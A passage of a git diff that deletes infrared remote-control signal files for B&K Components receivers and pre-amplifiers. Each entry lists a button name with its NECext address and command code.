-type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 7D 00 00 00 -# -name: BK027_TUNER_2 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 84 00 00 00 -# -name: BK027_FM -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 8E 00 00 00 -# -name: BK027_SOURCE- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: A6 00 00 00 -# -name: BK027_SLEEP -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: B3 00 00 00 -# -name: BK027_PRESET- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: C6 00 00 00 -# -name: BK027_LOUDNESS -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: CF 00 00 00 -# -name: BK027_AUTO_LEVEL -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: E4 00 00 00 -# -name: BK027_BASS+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: E5 00 00 00 -# -name: BK027_TREBLE+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: F9 00 00 00 -# -name: BK027_VIDEO+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir deleted file mode 100644 index 87f6cbb0a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK011_POWER_OFF -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 01 00 00 00 -# -name: BK011_POWER_ON -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 02 00 00 00 -# -name: BK011_MUTE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 03 00 00 00 -# -name: BK011_INPUT_1 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 05 00 00 00 -# -name: BK011_INPUT_3 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 06 00 00 00 -# -name: BK011_INPUT_8 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 07 00 00 00 -# -name: BK011_INPUT_2 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 09 00 00 00 -# -name: BK011_INPUT_7 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0B 00 00 00 -# -name: BK011_INPUT_4 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0D 00 00 00 -# -name: BK011_TUNER_1 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0E 00 00 00 -# -name: BK011_INPUT_5 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0F 00 00 00 -# -name: BK011_STATION- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 17 00 00 00 -# -name: BK011_STATION+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 18 00 00 00 -# -name: BK011_TUNE- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1B 00 00 00 -# -name: BK011_TUNE+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1C 00 00 00 -# -name: BK011_LEFT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1F 00 00 00 -# -name: BK011_RIGHT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 20 00 00 00 -# -name: BK011_VOLUME- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 23 00 00 00 -# -name: BK011_VOLUME+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 24 00 00 00 -# -name: BK011_NUMBER_+10 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 29 00 00 00 -# -name: BK011_EQ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2A 00 00 00 -# -name: BK011_DOWN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2D 00 00 00 -# -name: BK011_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2E 00 00 00 -# -name: BK011_MENU -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2F 00 00 00 -# -name: BK011_ENTER -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 30 00 00 00 -# -name: BK011_NUMBER_1 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 31 00 00 00 -# -name: BK011_NUMBER_2 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 32 00 00 00 -# -name: BK011_NUMBER_3 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 33 00 00 00 -# -name: BK011_NUMBER_4 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 35 00 00 00 -# -name: BK011_NUMBER_5 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 36 00 00 00 -# -name: BK011_NUMBER_6 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 37 00 00 00 -# -name: BK011_NUMBER_7 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 39 00 00 00 -# -name: BK011_NUMBER_8 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3A 00 00 00 -# -name: BK011_NUMBER_9 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3B 00 00 00 -# -name: BK011_NUMBER_0 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3E 00 00 00 -# -name: BK011_SAVE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 40 00 00 00 -# -name: BK011_TUNER_3 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 44 00 00 00 -# -name: BK011_INPUT_6 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 4A 00 00 00 -# -name: BK011_PRESET+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 4B 00 00 00 -# -name: BK011_D-IN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 5A 00 00 00 -# -name: BK011_BASS- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 65 00 00 00 -# -name: BK011_SOURCE+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 66 00 00 00 -# -name: BK011_INPUT_9 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 6E 00 00 00 -# -name: BK011_AM -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 76 00 00 00 -# -name: BK011_TREBLE- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 79 00 00 00 -# -name: BK011_VIDEO- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 7A 00 00 00 -# -name: BK011_EXIT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 7D 00 00 00 -# -name: BK011_TUNER_2 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 84 00 00 00 -# -name: BK011_FM -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 8E 00 00 00 -# -name: BK011_SOURCE- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: A6 00 00 00 -# -name: BK011_SLEEP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: B3 00 00 00 -# -name: BK011_PRESET- -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: C6 00 00 00 -# -name: BK011_LOUDNESS -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: CF 00 00 00 -# -name: BK011_AUTO_LEVEL -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: E4 00 00 00 -# -name: BK011_BASS+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: E5 00 00 00 -# -name: BK011_TREBLE+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: F9 00 00 00 -# -name: BK011_VIDEO+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir deleted file mode 100644 index 85fe4f52d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir deleted file mode 100644 index 23490d2dd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir +++ /dev/null @@ -1,566 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 03 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: IN_1_VCR -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: IN_3_TV -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 07 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: IN_2_TIVO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: IN_7_TAPE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: IN_4_DVD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0E 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: IN_5_CD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 13 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 15 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 16 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 18 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 19 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1A 00 00 00 -# -name: TUNE- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1B 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1B 00 00 00 -# -name: TUNE+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1C 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1C 00 00 00 -# -name: SUB_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1D 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1E 00 00 00 -# -name: CR_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: CR_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 24 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 26 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 29 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2A 00 00 00 -# -name: DVD-A -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2B 00 00 00 -# -name: CR_DOWN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2D 00 00 00 -# -name: CR_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 33 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 37 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3E 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 40 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4A 00 00 00 -# -name: IN_6_SAT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 5A 00 00 00 -# -name: BASS- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 65 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 65 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: AM_TUNER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: TREBLE- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 79 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 7D 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8A 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 9A 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: A2 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: C6 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: C6 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CA 00 00 00 -# -name: A_KEY -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E2 00 00 00 -# -name: BASS+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E5 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E5 00 00 00 -# -name: ST/MONO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: EB 00 00 00 -# -name: TREBLE+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: F9 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir deleted file mode 100644 index 8a6f02d42..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK003_POWER_OFF -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 01 00 00 00 -# -name: BK003_POWER_ON -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 02 00 00 00 -# -name: BK003_MUTE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 03 00 00 00 -# -name: BK003_V1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 05 00 00 00 -# -name: BK003_TV -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 06 00 00 00 -# -name: BK003_V2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 09 00 00 00 -# -name: BK003_TAPE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0B 00 00 00 -# -name: BK003_DVD -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0D 00 00 00 -# -name: BK003_CD -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0F 00 00 00 -# -name: BK003_CENTER- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 15 00 00 00 -# -name: BK003_CENTER+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 16 00 00 00 -# -name: BK003_REAR- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 19 00 00 00 -# -name: BK003_REAR+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1A 00 00 00 -# -name: BK003_SUB- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1D 00 00 00 -# -name: BK003_SUB+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1E 00 00 00 -# -name: BK003_LEFT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1F 00 00 00 -# -name: BK003_RIGHT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 20 00 00 00 -# -name: BK003_VOLUME- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 23 00 00 00 -# -name: BK003_VOLUME+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 24 00 00 00 -# -name: BK003_NUMBER_+10 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 29 00 00 00 -# -name: BK003_EQ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2A 00 00 00 -# -name: BK003_DVD-AUDIO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2B 00 00 00 -# -name: BK003_DOWN -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2D 00 00 00 -# -name: BK003_UP -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2E 00 00 00 -# -name: BK003_MENU -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2F 00 00 00 -# -name: BK003_ENTER/SELECT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 30 00 00 00 -# -name: BK003_NUMBER_1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 31 00 00 00 -# -name: BK003_NUMBER_2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 32 00 00 00 -# -name: BK003_NUMBER_3 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 33 00 00 00 -# -name: BK003_NUMBER_4 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 35 00 00 00 -# -name: BK003_NUMBER_5 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 36 00 00 00 -# -name: BK003_NUMBER_6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 37 00 00 00 -# -name: BK003_NUMBER_7 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 39 00 00 00 -# -name: BK003_NUMBER_8 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3A 00 00 00 -# -name: BK003_NUMBER_9 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3B 00 00 00 -# -name: BK003_NUMBER_0 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3E 00 00 00 -# -name: BK003_Z -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3F 00 00 00 -# -name: BK003_SAVE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 40 00 00 00 -# -name: BK003_SAT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4A 00 00 00 -# -name: BK003_PRESET+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4B 00 00 00 -# -name: BK003_PANORAMA+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4E 00 00 00 -# -name: BK003_INFO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 53 00 00 00 -# -name: BK003_BASS- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 65 00 00 00 -# -name: BK003_GAME -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 6A 00 00 00 -# -name: BK003_MOVIE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 72 00 00 00 -# -name: BK003_AM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 76 00 00 00 -# -name: BK003_TREBLE- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 79 00 00 00 -# -name: BK003_EXIT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 7D 00 00 00 -# -name: BK003_DIMENSION+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 81 00 00 00 -# -name: BK003_CINEMA -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 8A 00 00 00 -# -name: BK003_FM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 8E 00 00 00 -# -name: BK003_MONO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 9A 00 00 00 -# -name: BK003_IMAGE+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 9E 00 00 00 -# -name: BK003_NEO:6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: AA 00 00 00 -# -name: BK003_MUSIC -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: B2 00 00 00 -# -name: BK003_SLEEP -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: B3 00 00 00 -# -name: BK003_PRESET- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: C6 00 00 00 -# -name: BK003_SURROUND -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: CA 00 00 00 -# -name: BK003_PANORAMA- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: CE 00 00 00 -# -name: BK003_STEREO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: E2 00 00 00 -# -name: BK003_BASS+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: E5 00 00 00 -# -name: BK003_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: EA 00 00 00 -# -name: BK003_IMAGE- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: EE 00 00 00 -# -name: BK003_TREBLE+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: F9 00 00 00 -# -name: BK003_DIMENSION- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir deleted file mode 100644 index a27dc9923..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK005_POWER_OFF -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 01 00 00 00 -# -name: BK005_POWER_ON -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 02 00 00 00 -# -name: BK005_MUTE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 03 00 00 00 -# -name: BK005_V1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 05 00 00 00 -# -name: BK005_TV -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 06 00 00 00 -# -name: BK005_V2 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 09 00 00 00 -# -name: BK005_TAPE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0B 00 00 00 -# -name: BK005_DVD -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0D 00 00 00 -# -name: BK005_CD -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0F 00 00 00 -# -name: BK005_CENTER- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 15 00 00 00 -# -name: BK005_CENTER+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 16 00 00 00 -# -name: BK005_REAR- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 19 00 00 00 -# -name: BK005_REAR+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1A 00 00 00 -# -name: BK005_SUB- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1D 00 00 00 -# -name: BK005_SUB+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1E 00 00 00 -# -name: BK005_LEFT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1F 00 00 00 -# -name: BK005_RIGHT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 20 00 00 00 -# -name: BK005_VOLUME- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 23 00 00 00 -# -name: BK005_VOLUME+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 24 00 00 00 -# -name: BK005_NUMBER_+10 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 29 00 00 00 -# -name: BK005_EQ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2A 00 00 00 -# -name: BK005_DVD-AUDIO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2B 00 00 00 -# -name: BK005_DOWN -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2D 00 00 00 -# -name: BK005_UP -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2E 00 00 00 -# -name: BK005_MENU -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2F 00 00 00 -# -name: BK005_ENTER/SELECT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 30 00 00 00 -# -name: BK005_NUMBER_1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 31 00 00 00 -# -name: BK005_NUMBER_2 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 32 00 00 00 -# -name: BK005_NUMBER_3 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 33 00 00 00 -# -name: BK005_NUMBER_4 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 35 00 00 00 -# -name: BK005_NUMBER_5 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 36 00 00 00 -# -name: BK005_NUMBER_6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 37 00 00 00 -# -name: BK005_NUMBER_7 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 39 00 00 